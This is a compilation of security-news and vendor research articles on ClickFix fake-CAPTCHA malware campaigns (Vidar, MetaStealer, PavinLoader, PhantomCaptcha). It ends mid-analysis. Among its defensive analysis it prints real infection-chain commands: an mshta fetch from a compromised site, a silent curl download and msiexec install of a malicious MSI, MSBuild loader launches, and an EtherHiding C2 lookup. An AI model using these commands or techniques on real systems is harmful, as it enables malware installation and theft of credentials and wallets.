ClickFix Campaign Compromises 31 Orgs, Abuses Polygon Blockchain

Cybersecurity researchers are calling attention to a nefarious campaign targeting WordPress sites to make malicious JavaScript injections that are designed to redirect users to sketchy sites. "Site visitors get injected content that was drive-by malware like fake Cloudflare verification," Sucuri researcher Puja Srivastava said in an analysis published last week. The website security company said it began an investigation after one of its customer's WordPress sites served suspicious third-party JavaScript to site visitors, ultimately finding that the attackers introduced malicious modifications to a theme-related file ("functions.php"). The code inserted into "functions.php" incorporates references to Google Ads, likely in an attempt to evade detection. But, in reality, it functions as a remote loader by sending an HTTP POST request to the domain "brazilc[.]com," which, in turn, responds with a dynamic payload that includes two components - A JavaScript file hosted on a remote server ("porsasystem[.]com"), which, as of writing, has been referenced on 17 websites and contains code to perform site redirects A piece of JavaScript code that creates a hidden, 1x1 pixel iframe, within which it injects code that mimics legitimate Cloudflare assets like "cdn-cgi/challenge-platform/scripts/jsd/main.js" – an API that's a core part of its bot detection and challenge platform It's worth noting that the domain "porsasystem[.]com" has been flagged as part of a traffic distribution system (TDS) called Kongtuke (aka 404 TDS, Chaya_002, LandUpdate808, and TAG-124). According to information shared by an account named "monitorsg" on Mastodon on September 19, 2025, the infection chain starts with users visiting a compromised site, resulting in the execution of "porsasystem[.]com/6m9x.js," which then leads to "porsasystem[.]com/js.php" to eventually take the victims to ClickFix-style pages for malware distribution. The findings illustrate the need for securing WordPress sites and ensuring that plugins, themes, and website software are kept up-to-date, enforcing strong passwords, scanning the sites for anomalies and unexpected administrator accounts created for maintaining persistent access even after the malware is detected and removed. Create ClickFix Pages Using IUAM ClickFix Generator The disclosure comes as Palo Alto Networks Unit 42 detailed a phishing kit named IUAM ClickFix Generator that allows attackers to infect users with malware by leveraging the ClickFix social engineering technique and come up with customizable landing pages by mimicking browser verification challenges often used to block automated traffic. "This tool allows threat actors to create highly customizable phishing pages that mimic the challenge-response behavior of a browser verification page commonly deployed by Content Delivery Networks (CDNs) and cloud security providers to defend against automated threats," security researcher Amer Elsad said. "The spoofed interface is designed to appear legitimate to victims, increasing the effectiveness of the lure." The bespoke phishing pages also come with capabilities to manipulate the clipboard, a crucial step in the ClickFix attack, as well as detect the operating system used in order to tailor the infection sequence and serve compatible malware. In at least two different cases, threat actors have been detected using pages generated using the kit to deploy information stealers such as DeerStealer and Odyssey Stealer, the latter of which is designed to target Apple macOS systems. The emergence of the IUAM ClickFix Generator adds to a prior alert from Microsoft warning of a rise in commercial ClickFix builders on underground forums since late 2024. Another notable example of a phishing kit that has integrated the offering is Impact Solutions. "The kits offer creation of landing pages with a variety of available lures, including Cloudflare," Microsoft noted back in August 2025. "They also offer construction of malicious commands that users will paste into the Windows Run dialog. These kits claim to guarantee antivirus and web protection bypass (some even promise that they can bypass Microsoft Defender SmartScreen), as well as payload persistence." It goes without saying that these tools further lower the barrier to entry for cybercriminals, enabling them to mount sophisticated, multi-platform attacks at scale without much effort or technical expertise. ClickFix Becomes Stealthy via Cache Smuggling The findings also follow the discovery of a new campaign that has innovated on the ClickFix attack formula by employing a sneaky technique referred to as cache smuggling to fly under the radar as opposed to explicitly downloading any malicious files on the target host. "This campaign differs from previous ClickFix variants in that the malicious script does not download any files or communicate with the internet," Expel Principal Threat Researcher Marcus Hutchins said. "This is achieved by using the browser's cache to pre-emptively store arbitrary data onto the user's machine." Expel said it was unable to determine the final payload received as part of the attack. It's also currently not known how users are redirected to the phishing page, and if it involves techniques like malvertising or search engine optimization (SEO) poisoning. In the attack documented by the cybersecurity company, the ClickFix-themed page masquerades as a Fortinet VPN Compliance Checker, using FileFix tactics to deceive users into launching the Windows File Explorer and pasting a malicious command into the address bar to trigger the execution of the payload. The invisible command is designed to run a PowerShell script via conhost.exe. What makes the script stand apart is that it does not download any additional malware or communicate with an attacker-controlled server. Instead, it executes an obfuscated payload that passes off as a JPEG image and is already cached by the browser when the user lands on the phishing page. "The file extracted from the cache is used to set up a scheduled task, which is set to run after each reboot," Hutchins told The Hacker News. "When the task runs, it connects to a command-and-control server waiting for follow-up commands." "Neither the web page nor the PowerShell script explicitly downloads any files," Hutchins explained. "By simply letting the browser cache the fake 'image,' the malware is able to get an entire ZIP file onto the local system without the PowerShell command needing to make any web requests." "The implications of this technique are concerning, as cache smuggling may offer a way to evade protections that would otherwise catch malicious files as they are downloaded and executed. An innocuous-looking 'image/jpeg' file is downloaded, only to have its contents extracted and then executed via a PowerShell command hidden in a ClickFix phishing lure." (The story was updated after publication to include additional insights from Expel.)

ClickFix attacks have evolved to feature videos that guide victims through the self-infection process, a timer to pressure targets into taking risky actions, and automatic detection of the operating system to provide the correct commands. In a typical ClickFix attack, the threat actor relies on social-engineering to trick users into pasting and executing code or commands from a malicious page. The lures used may vary from identity verification to software problem solutions. The goal is to make the target execute malware that fetches and launches a payload, usually an information stealer. Most of the times, these attacks provided text instructions on a web page but newer versions rely on an embedded video to make the attack less suspicious. Push Security researchers have spotted this change in recent ClickFix campaigns, where a fake Cloudflare CAPTCHA verification challenge detected the victim’s OS and loaded a video tutorial on how to paste and run the malicious commands. Through a JavaScript, the threat actor can hide the commands and copy them automatically into the user's clipboard, thus reducing the chances of human error. On the same window, the challenge included a one-minute countdown timer that presses the victim into taking quick action and leaving little time to verify the authenticity or safety of the verification process. Adding to the deception is a “users verified in the last hour” counter, making the window appear as part of a legitimate Cloudflare bot check tool. Although we have seen ClickFix attacks against all major operating systems before, including macOS and Linux, the automatic detection and adjustment of the instructions is a new development. Push Security reports that these more advanced ClickFix webpages are promoted primarily through malvertizing on Google Search. The threat actors either exploit known flaws on outdated WordPress plugins to compromise legitimate sites and inject their malicious JavaScript on pages, or “vibe-code” sites and use SEO poisoning tactics to rank them higher up in the search results. Regarding the payloads delivered in these attacks, Push researchers noticed that they depended on the operating system, but included the MSHTA executable in Windows, PowerShell scripts, and various other living-off-the-land binaries. The researchers speculate that future ClickFix attacks could run entirely in the browser, evading EDR protections. As ClickFix evolves and takes more convincing and deceptive forms, users should remember that executing code on the terminal can never be a part of any online-based verification process, and no copied commands should ever be executed unless the user fully understands what they do. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves. Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains. One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil. What is Vidar? Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets: Browser-stored usernames and passwords Cryptocurrency wallet information Session cookies and authentication tokens Autofill data and saved payment information Files that may contain sensitive data Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection. Fake CAPTCHA: the never-ending story When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page. This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain. The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case: mshta https://{compromised website}/challenge/cf Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns. In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer. HTA-based MSI dropper The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware. The script performs several operations: The window is resized to 0x0 and moved off-screen, making the application invisible to the user. The script terminates if the document.location.href doesn’t start withhttp . The strings are decoded using XOR and a random key. Through WMI queries, the script checks for installed antivirus products. It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file. In the end, the script downloads the malicious MSI from a compromised website. The downloaded file must be larger than 100 KB to be considered valid. Finally, it removes the :Zone.Identifier alternate data stream. In this case, the malicious MSI was downloaded using the following command: “C:\Windows\System32\curl.exe" -s -L -o “C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi” https://{compromised-website}/474a2b77/5ef46f21e2.msi Afterward, the malicious MSI was executed with: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\EdgeAgent\WebCore\cleankises.msi" /qn MSI and GoLang loader The MSI defines a CustomAction ConfigureNetFx, and it executes a GoLang loader. Malware loaders (also known as droppers or downloaders) are common tools in the cybercrime ecosystem. Their main job is to stealthily compromise a system and then deliver one or more additional malware payloads. In this campaign, the loader ultimately decrypts and executes the Vidar infostealer. The executable has different names in the different MSI samples analyzed. The Golang loader decodes a shellcode that performs different anti-analysis checks, including: CheckRemoteDebuggerPresent IsDebuggerPresent QueryPerformanceCounter GetTickCount After several intermediate steps, the loader decrypts and loads Vidar infostealer directly into memory. Analysis of compromised websites The malicious iframe injected into the compromised websites was generated by the domains cdnwoopress[.]com or woopresscdn[.]com in the analyzed cases. The injected code has several functions, and the command used in the fake CAPTCHA attack is obtained from the /api/get_payload endpoint. Because the malicious website was misconfigured, we were able to view the backend code injected into the compromised WordPress sites. The injected script performs several actions: Creates the file wp-cache-manager.php if it doesn’t already exist, obtaining its contents from the endpoint/api/plugin . Sends a heartbeat request every hour containing the domain name, site URL, WordPress version, and status. During page loads (template_redirect ), the script filters visitors based on User-Agent and targets Windows desktop visitors. Requests /api/inject?domain=domain from the remote command server. The response HTML is then displayed, replacing the normal WordPress page. How to stay safe Attacks like this rely on tricking people into running commands themselves, so a few simple precautions can make a big difference. Slow down. If a webpage asks you to run commands on your device or copy and paste code, pause and think before following the instructions. Cybercriminals often create a sense of urgency with fake security checks, countdown timers, or warnings designed to make you act without thinking. Never run commands from untrusted sources. A legitimate website should never require you to press Win+R, open Terminal, or paste commands into PowerShell just to verify you are human. If a page asks you to do this, treat it as suspicious. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check official documentation or contact support through trusted channels before doing anything. Be cautious with copy and paste. Some attacks hide malicious commands in copied text. If you ever need to run a command from documentation, typing it manually can help reduce the risk of running hidden code. Protect your device. Keep your operating system and browser updated and use security software that can block malicious websites and detect infostealer malware. Stay informed. Techniques like fake CAPTCHA pages and ClickFix attacks continue to evolve. Knowing that attackers may try to trick you into running commands yourself can help you spot these scams before they succeed. Pro tip: The free Malwarebytes Browser Guard extension can warn you if a website attempts to copy content to your clipboard, which may help prevent this type of attack. Indicators of Compromise (IOCs) Domains cdnwoopress[.]com: Fake CAPTCHA Infrastructure woopresscdn[.]com : Fake CAPTCHA Infrastructure walwood[.]be : Fake CAPTCHA Infrastructure telegram[.]me/dikkh0k : Vidar C2 telegram[.]me/pr55ii : Vidar C2 steamcommunity[.]com/profiles/76561198742377525 : Vidar C2 steamcommunity[.]com/profiles/76561198735736086 : Vidar C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

By John Hammond, Alden Schmidt, Lindsey Welch During the past fifteen business days, Huntress analysts have observed increased threat activity involving several notable techniques. One case involved a malicious AnyDesk installer, which initially mimicked a standard ClickFix attack through a fake Cloudflare verification page but then utilized Windows File Explorer and an MSI package masked as a PDF to deploy MetaStealer malware. Additionally, two incidents involving the Cephalus ransomware variant were detected. This ransomware distinguishes itself by employing DLL sideloading through a legitimate SentinelOne executable, SentinelBrowserNativeHost.exe, to launch the payload. These recent findings highlight the ongoing evolution in threat actor tradecraft, combining established social engineering methods with more technically advanced infection chains and evasive deployment strategies. ClickFix attacks have been ticking up for over a year now, as attackers find success in tricking users into executing malicious code on their computers using CAPTCHA-based lures. We’ve seen quite a bit of these types of attacks on our end, but we’ve also seen threat actors adopting ClickFix-esque techniques in attacks that don’t follow the exact ClickFix playbook. Recently, our very own John Hammond received an email from someone who had come across a fake AnyDesk installer while searching for the AnyDesk remote tool. While early indicators of the attack look like it would turn into another ClickFix scam, a little bit of digging shows a unique infection chain that involves a fake Cloudflare Turnstile lure, the Windows search protocol, and an MSI package disguised as a PDF that cleverly grabs the victim’s hostname. The attack ultimately aims to drop MetaStealer, a commodity infostealer that’s been around since 2022 and is known for harvesting credentials and stealing files. ClickFix, FileFix, and other ‘fix’ variants First, a quick primer on the widely used ClickFix technique. The premise of ClickFix is that threat actors convince users to “fix” a purported issue, usually with a CAPTCHA on a webpage that they arrive on via a phishing message, or otherwise. The “solution” is copying and pasting a command fed to victims via an attacker-controlled prompt, which quietly kicks off the attack chain. While the classic ClickFix attack tricks users to paste and run commands in their Windows Run dialog box or via PowerShell, other variants of the attack have also sprung up that take a different approach. A few months ago, attackers turned to a similar technique, dubbed FileFix, which involves Windows File Explorer instead of the Run dialog box. We’ve seen a number of incidents that stem from ClickFix attacks. In the August 26 incident shown in Figure 1 below, for instance, we responded to an attack where a user executed a malicious command given to them via a fake Cloudflare Turnstile, which is Cloudflare’s verification tool meant to replace CAPTCHAs for weeding out bots. This then downloaded and installed an infostealer. Closer investigation revealed that the victim had visited the landing page teams-one[.]com. This page showed a Cloudflare Turnstile and marked the beginning stage of the ClickFix attack. Though there are similarities that we’ll outline below, the run-of-the-mill ClickFix incident demonstrated above differs significantly from the MetaStealer attack that we recently came across. Hacker tradecraft’s evolving daily, so let’s break it down on Tradecraft Tuesday! Join us monthly for an in-depth look at attacker tradecraft—no sales or product talk involved. Sign up for the series today or catch up on previous episodes. No tricks, just tradecraft. Register for Tradecraft Tuesday A ClickFix-turned-not-fix attack: what we saw The initial link for the fake AnyDesk installer redirects users to https[://]anydeesk[.]ink/download/anydesk[.]html, which displays a Cloudflare Turnstile - and a very questionable UI. The page purports to support “Secure Access Verification”, prompting the user to click a single button on the Cloudflare Turnstile to “verify you are human.” A quick look at the underlying HTML for the webpage (using View Source) is shrouded by obfuscated JavaScript, but that can be easily unraveled with JavaScript deobfuscation tools available in the browser tools console. This reveals the actual source code - and reveals the window.location.href value to be https[://]verification[.]anydeesk[.]ink/reCAPTCHA-v2[.]php. Up to this point, this has all the tell-tale signs of a ClickFix campaign: it involves a classic human verification social engineering piece, and sets the end user up to click on a box. However, when the victim clicks the box, the prompts in this attack lead to Windows File Explorer, Windows’ file management tool, as opposed to the Windows Run dialog box as we have seen with ClickFix. This is more indicative of a FileFix attack—but this attack still isn’t strictly FileFix, where victims are prodded to launch the address bar in Windows File Explorer (using a Ctrl+L and Ctrl+V combination to paste a PowerShell command that was automatically copied to their clipboard). Instead, in this attack, the PHP above redirects users to the Windows protocol handler (search-ms URI), a legitimate feature enabling applications to kick off specific search queries in Windows File Explorer. The specific Windows File Explorer “Search” redirect location can be seen in Figure 4 below, which displays the name for a custom search query as part of the search-ms URI protocol. As seen in Figure 5 below, Windows File Explorer then directs the victim to an attacker-controlled SMB share, essentially a remote file share allowing clients to access files on a remote server over a network. Here, victims are presented with a Windows shortcut LNK file – however, this LNK file is disguised as a PDF file called Readme Anydesk.pdf. Fake PDF lure: snagging victim hostnames As you can see below, the LNK file’s payload is: Once clicked, this file’s payload kicks off a few processes. Here, cmd.exe starts the automatic download of a legitimate AnyDesk installer on Microsoft Edge, possibly as a way to avoid suspicion for the victim. Meanwhile, it also begins a download for another purported “PDF,” which is downloaded from chat1[.]store and dropped into the temporary directory. Notably, this fake PDF is configured to grab the %COMPUTERNAME% environment variable as a subdomain. Subdomains don’t need to know the user’s hostname ahead of time, so this is a clever way for the attacker to nab that information from the victim. The fake PDF is then installed by msiexec (revealing that it’s actually an MSI package) and the cmd.exe process is then killed. Upon closer inspection of chat1[.]store (reached through a curl user agent), we can see everything from the MSI package, including files that would have been triggered as part of the attack chain. The two important files in the MSI package are a DLL (CustomActionDLL) and a CAB archive (Binary.bz.WrappedSetupProgram) which contains several other files. The CAB file contains two additional malicious files: 1.js which is responsible for cleaning up the infection chain, and ls26.exe which is the MetaStealer dropper. The MetaStealer file (ls26.exe) is a very large binary and is protected with Private EXE Protector. Upon further inspection, the executable reveals the same types of behavior that we’ve seen in known samples of MetaStealer, such as stealing from crypto wallets. ClickFix variants and lessons learned ClickFix, FileFix, and even this alternate-ClickFix attack we recently found show the power of blending social engineering with mundane processes, like CAPTCHAs or other verification tools. Additionally, these types of attacks that require some level of manual interaction from the victim, as they work to “fix” the purported broken process themselves, work in part because they can potentially circumvent security solutions. The guidance for organizations in regards to ClickFix has previously centered around taking measures like disallowing users to use the Windows Run dialog box if it’s not needed for everyday tasks. While this can be effective against traditional ClickFix attacks, the variants like the one above show that threat actors are continuing to move the needle in their infection chains, throwing a wrench into detection and prevention. Organizations should take additional measures, including educating users about the lures linked to ClickFix-like attacks. Users should be trained on spotting CAPTCHAs that prompt them to copy and paste into the Run dialog box, or redirect to Windows File Explorer. Maintain Situational Awareness—Register for Tradecraft Tuesday Tradecraft Tuesday provides cybersecurity professionals with an in-depth analysis of the latest threat actors, attack vectors, and mitigation strategies. Each weekly session features technical walkthroughs of recent incidents, comprehensive breakdowns of malware trends, and up-to-date indicators of compromise (IOCs). Participants gain: Detailed briefings on emerging threat campaigns and ransomware variants Evidence-driven defense methodologies and remediation techniques Direct interaction with Huntress analysts for incident response insights Access to actionable threat intelligence and detection guidance Advance your defensive posture with real-time intelligence and technical education specifically designed for those responsible for safeguarding their organization’s environment. IOCs Sponsored and written by Huntress.

A spearphishing attack that lasted a single day targeted members of the Ukrainian regional government administration and organizations critical for the war relief effort in Ukraine, including the International Committee of the Red Cross, UNICEF, and various NGOs. Dubbed PhantomCaptcha, the one-day campaign attempted to trick victims into running commands used in ClickFix attacks, disguised as Cloudflare CAPTCHA verification prompts, to install a WebSocket Remote Access Trojan (RAT). SentinelLABS, the threat research division at SentinelOne, says that the campaign started and ended on October 8, and that the attacker spent significant time and effort to set up the necessary infrastructure, as some domains used in the operation were registered at the end of March. "I am not a robot" ClickFix attacks The attacks started with emails impersonating the Ukrainian President’s Office, carrying malicious PDF attachments that linked to a domain impersonating the Zoom (zoomconference[.]app) communication platform. When clicking on the fake Zoom conference link, visitors saw an automated browser check process before redirecting to the communication platform. During this stage, a client identifier is generated and passed to the attacker's server over a Websocket connection. "If the WebSocket server responded with a matching identifier, the victim’s browser would redirect to a legitimate, password-protected Zoom meeting," SentinelLABS' analysis showed. According to the researchers, this path likely led to the threat actor engaging in live social engineering calls with the victim. If the client ID did not match, visitors had to pass another security check and prove that they were real people and not robots. They could complete the fake CAPTCHA verification by following instructions in Ukrainian that prompted them to press a button to copy a "token" and paste it in the Windows Command Prompt. What the copy/paste action did was to run a PowerShell command that downloaded and executed a malicious script (cptch) for delivering the second-stage payload, a reconnaissance and system-profiler utility. The tool collects system data like computer name, domain information, username, process ID, and system UUID, and sends it to the command-and-control (C2) server. The final payload is a lightweight WebSocket RAT capable of remote command execution and data exfiltration through base64-encoded JSON commands. The researchers found that the short-lived campaign was linked to a subsequent operation that targeted users in Lviv, Ukraine, with adult-themed Android APKs or cloud storage tools. These apps act as spyware, monitoring the victim’s real-time location, call logs, contact list, and images, exfiltrating them to the attackers. While SentinelLABS made no attribution for the "I am not a robot" ClickFix attacks, the researchers note that the WebSocket RAT was hosted on Russian infrastructure, and the adult-themed campaign may be related to Russia/Belarus source development. Additionally, a report from the Google Threat Intelligence Group (GTIG) yesterday describes a malicious "I am not a robot" captcha challenge used in attacks attributed to ColdRiver (a.k.a. Star Blizzard, UNC4057, Callisto), a threat group attributed to the Russian intelligence service (FSB). GTIG highlighted that the hackers were quick to operationalize new malware families after researchers had disclosed publicly older tools that ColdRiver deployed in cyberespionage activities. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

In our previous analysis of the malicious RenPy campaigns, we identified a multi-stage loader deployed as part of the infection chain. Further threat hunting has since shown that the same loader, which we track as PavinLoader , is being used across several different campaigns, including ClickFix attacks and fake software downloads.  Despite differences in how these campaigns reach victims, we found several common elements. These include multi-stage infection chains involving heavily obfuscated and trojanized .NET DLLs; abuse of MSBuild, .csproj , and .bat files to execute them; and EtherHiding to retrieve the command-and-control (C2) domain.  What an attack looks like The campaigns don’t all start the same way. A victim might encounter a fake CAPTCHA that tells them to run a command, download what appears to be legitimate software, or install a malicious game. What happens next is much more consistent. PavinLoader uses legitimate Windows tools alongside malicious .NET files to run several stages of malware. It also uses EtherHiding, a technique that uses a blockchain to hide information about its infrastructure, to find the server from which it should retrieve additional malware. In the RenPy campaign we analyzed, that process ultimately led to Amatera Stealer , malware designed to steal information from an infected computer. We also observed PavinLoader infections delivering additional malware. PavinLoader appears across multiple campaigns We have identified PavinLoader in several campaign clusters:  Malicious RenPy campaigns, as analyzed in our earlier blog post Several ClickFix campaigns, including recent activity from the operator(s) covered in our previous analysis Fake software campaigns that used Dropbox to download PavinLoader.  The loader’s use across multiple campaigns raises the possibility that PavinLoader is offered as a Loader-as-a-Service. We also found several artifacts that support this possibility, although they are not enough to confirm it. One specific artifact on VirusTotal is shared by more than 200 files associated with PavinLoader, suggesting it may be a compilation artifact of the build process. We also found a PowerShell script uploaded to VirusTotal containing comments such as EDIT HERE and REPLACE with a real direct link to your .bat . The associated BAT file contains the string Automated builder helper . However, we haven’t found a build panel or sales channels that would confirm PavinLoader is being offered commercially. The PowerShell script . Click to enlarge Part of the BAT file . Click to enlarge   Although PavinLoader has changed over time, the campaigns we analyzed share several characteristics: Inno Setup or MSI installers generated with different builders that run the .bat and/or .csproj files Trojanized .NET DLLs, including DotNetZip, Nancy, Renci.SshNet, and OpenXML. In most of the cases analyzed, the inserted malicious methods follow a TwoWords or TwoWordsNumber naming pattern, such as DefaultEvaluator5 , and FallbackFactory5 A common obfuscation technique used across the .NET DLLs A naming convention based on two random words, such as  GollopDevest , UnbrandRunover , and PavinWide , for DLL names, functions, strings, C2 paths, and other artifacts EtherHiding to obtain the C2 domain, followed by HTTP requests using paths such as assets/{two random words}.json to retrieve subsequent stages. C2 domains commonly use the .lat , .icu , .shop , and .cfd top-level domains MSBuild mechanisms for loading and executing code from DLLs, including property functions such as [System.Reflection.Assembly]::Load(...) and UsingTask Recurring filename patterns such as name_4characters.cmd/bat/msi/exe —for example, prefetch_9a59.cmd , telemetry_55db.cmd , and bootstrap_64be.cmd —or random nine-character names such as aegZpQ4C7.bat . We also observed short names including Small.msi , small.bat , and small.cmd PavinLoader consists of several .NET DLLs, and in the cases analyzed we identified the following stages:  Loader DLL : A trojanized DLL—such as the Nancy one analyzed in our previous RenPy article—or a custom DLL. It performs anti-forensics and anti-analysis operations, changes network settings needed for the next operations, and loads the EtherHiding Loader EtherHiding Loader DLL : Obtains the C2 through EtherHiding and downloads the next stages from it  Anti-Analysis DLL : Performs extensive anti-analysis checks to detect virtualized environments.  PE Loader DLL : Loads the final PE payload. Intermediate payloads can vary depending on the campaign configuration. First, we’ll look at some of the methods used to distribute the initial PavinLoader stages. We’ll then return to the RenPy loader campaign we analyzed in our previous article to examine the loader’s later stages.  Technical analysis The rest of this article takes a closer look at how PavinLoader is distributed and how each stage of the loader works. How PavinLoader is delivered We have observed PavinLoader being delivered through several ClickFix campaigns. In particular, we detected that the ClickFix cluster analyzed in a previous article has recently started using PavinLoader. Abuse of MSBuild and the use of .csproj and .bat files remain common across the infection chains we observed. We covered one example in our previous RenPy analysis. Here, we’ll look at several other distribution methods.  The ClickFix Cloudflare page associated with this campaign . Click to enlarge   As we saw in our previous analysis of these ClickFix campaigns, the associated PowerShell scripts change frequently. We found several versions in this activity, including both obfuscated and unobfuscated scripts. The PowerShell script associated with the ClickFix campaign. Click to enlarge In this example, the downloaded MSI from the Cloudflare bucket is called Installer_57be78.msi.  MSI content . Click to enlarge The package contains: prefetch_2f76.exe : The legitimate MSBuild executable prefetch_2f76.csproj : Used to execute the Loader DLL through UsingTask DotNetZip.dll : The Loader DLL The .csproj file is executed with: "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.exe" /nologo "C:\Users\{USER}\AppData\Local\Logitech\Device Configuration Helper\prefetch_2f76.csproj" /nr:false The Loader DLL is a trojanized version of DotNetZip and is executed using the UsingTask element. “UsingTask” used to execute the DLL . Click to enlarge The malicious method inserted in the trojanized DLL. Click to enlarge.  Unlike the RenPy example discussed in our previous article, the EtherHiding Loader is extracted from the DLL itself. An embedded resource is used as an index to extract bytes directly from the DLL, rather than obtaining those indexes from the .csproj file. We detected another campaign that uses BAT files containing fake BUILD VERIFICATION REPORT comments, apparently intended to make analysis and detection more difficult. In this case, the MSI CustomAction executes the BAT script with: cmd.exe /c C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd /launched Fake comments inserted in the updater_8219.cmd . Click to enlarge The obfuscated code appears below the fake comments. It concatenates multiple strings and uses indices generated through simple mathematical operations to reconstruct them. We found this type of obfuscation in most of the BAT files we analyzed. The obfuscated part of the .cmd file . Click to enlarge The BAT file locates conhost.exe and relaunches itself with: "C:\WINDOWS\System32\conhost.exe" --headless cmd.exe /c "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" /launched It then sets the MSBUILDENABLEALLPROPERTYFUNCTIONS=1 environment variable, locates MSBuild.exe , and executes it using the same file as input: "C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" "C:\Users\{USER}\AppData\Local\Conexant\lite_bootstrap_2.1.7\updater_8219.cmd" In this case, the Loader DLL is reconstructed by concatenating and decoding four Base64-encoded variables. Part of the CMD file showing the loading process. Click to enlarge The Loader DLL has a random name and appears to be an older version because it does not contain the custom bytecode and encrypted strings in its resources. As in the RenPy campaign analyzed previously, this stage retrieves the EtherHiding Loader stored between a Build-... marker in the CMD file through the _vezr environment variable, then decodes it using XOR with a 32-byte key. The extracted Loader DLL. Click to enlarge Having looked at several methods used to distribute PavinLoader’s first two stages, we will now return to the RenPy infection chain from our previous analysis and examine the loader itself in more detail. Analyzing PavinLoader The .NET DLLs associated with PavinLoader are heavily obfuscated using control-flow flattening, custom bytecode, indirect calls through calli / ldftn , string encryption with different algorithms, API hashing and delegates, redundant methods, and junk code and strings. We did not identify a known obfuscator associated with the samples, so to the best of our knowledge, PavinLoader uses a custom obfuscator. Because fully deobfuscating the samples would be complex, we used a hybrid approach combining dynamic analysis with method invocation through reflection. We identified important methods based on their imports and parameters, invoked them, and analyzed the resulting output. This approach does not provide complete coverage of the execution flow, but it allowed us to identify the loader’s core functionality and extract its intermediate stages. Because different functions frequently share the same names, we use metadata tokens to identify methods throughout the analysis. Nancy trojanized DLL: Loader DLL  We covered this stage in detail in our previous blog post, so we’ll provide only an overview here. In most of the cases analyzed, the Loader DLL is a trojanized legitimate DLL. The malicious method typically uses a {RandomWord} or {RandomWord_Number} naming convention. The DLL contains a resource associated with the custom bytecode interpreted by the main method, two resources containing encrypted strings, and, in some cases, additional resources used as an index for extracting the next stage. Other resources appear to be decoys designed to slow analysis. In the samples we analyzed, this DLL typically: Decrypts strings from resources using multi-key XOR Resolves APIs using API hashing and GetDelegateForFunctionPointer() Changes network settings, including disabling TLS certificate validation and setting the default system proxy Performs an anti-analysis timing check using CreateEventW() , GetTickCount() , and WaitForSingleObject() Performs anti-forensics operations Loads the EtherHiding Loader either by extracting it from a marker inside .csproj or BAT files, or by using a resource as an index to retrieve bytes directly from the DLL GollopDevest: EtherHiding Loader  The EtherHiding Loader has two main functions: obtaining the C2 domain through EtherHiding, and downloading and loading subsequent stages from that C2. Class 0x02000762 is responsible for decrypting strings associated with blockchain and network communication. The strings are decrypted by 0x060027BD as follows:  Function 0x060027BB initializes the S-box using the XOR of the master key activeValues and the Base64-decoded optionsCollection string Function 0x060027BE takes childSyncObject as input and returns index bytes using XOR and permutations based on header values encoded in the first two characters of the string Function 0x060027B9 returns the decrypted string using the indexes and the previously generated S-box This was the only class we found with encryption parameters encoded in this format. For the remaining strings, we identified functions that returned decrypted data based on their parameter signatures—for example, methods returning strings or bytes—and invoked them through reflection. This allowed us to recover more than 1,300 strings. Part of the decrypted strings . Click to enlarge   Among them were strings associated with AMSI and ETW patching: AmsiScanString System.Management.Automation.AmsiUtils System.Management.Automation.AmsiUtils+AmsiNativeMethods ntdll EtwEventWrite NtQueryInformationProcess NtSetInformationThread VirtualProtect More than 100 URLs belonging to legitimate services are also decrypted and used to generate HTTP requests and network noise. We did not observe this behavior in every sample, suggesting it may be build-specific. The Server class ( 0x02000052 ) generates the X-Timestamp , X-Nonce , and X-Signature HTTP headers and makes requests used to retrieve subsequent stages. Two HTTP requests are made to synchronize parameters and obtain the payload, with HMAC used to validate the requests. Using reflection, we executed method 0x06000A77 to obtain the header values needed to retrieve the subsequent stages. The C2 domain is obtained by making an ETH RPC (Remote Procedure Call) to bsc-dataseed.binance.org with the following JSON-RPC body: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":" 0x328a1fadff154290f0ce1389a4e633698cdfdaa7 ","data":"0x06fdde03"},"latest"],"id":1783436775}  The next stages are downloaded from the resulting C2 domain. The XOR-encoded payload is stored in the JSON response under cache.content : {"type":"cache-binary","meta":{"version":"2.3.1","timestamp":"…","platform":"win32-x64"},"cache":{"id":"e2b69…"," content ":" 1c.. "}}  In this case, the C2 paths and XOR keys decrypted from this stage and the anti-analysis DLL are: Path   XOR key   Type/Function   /assets/ExponeAboard.json  QBBBfWow4lb  PavinWride .NET DLL, Anti-analysis   /assets/MailersKogasin.json  WjcsVTKmuoBRqe  GollopDevest .NET DLL, PE Loader  /assets/LanoseThrip.json  WwUX66Br  WPA.exe PE executable, Amatera Stealer  The next stage executed is the anti-analysis DLL.  PavinWride: Anti-analysis DLL  This DLL is responsible for performing several anti-analysis checks.  The anti-analysis DLL executes system calls in different ways: 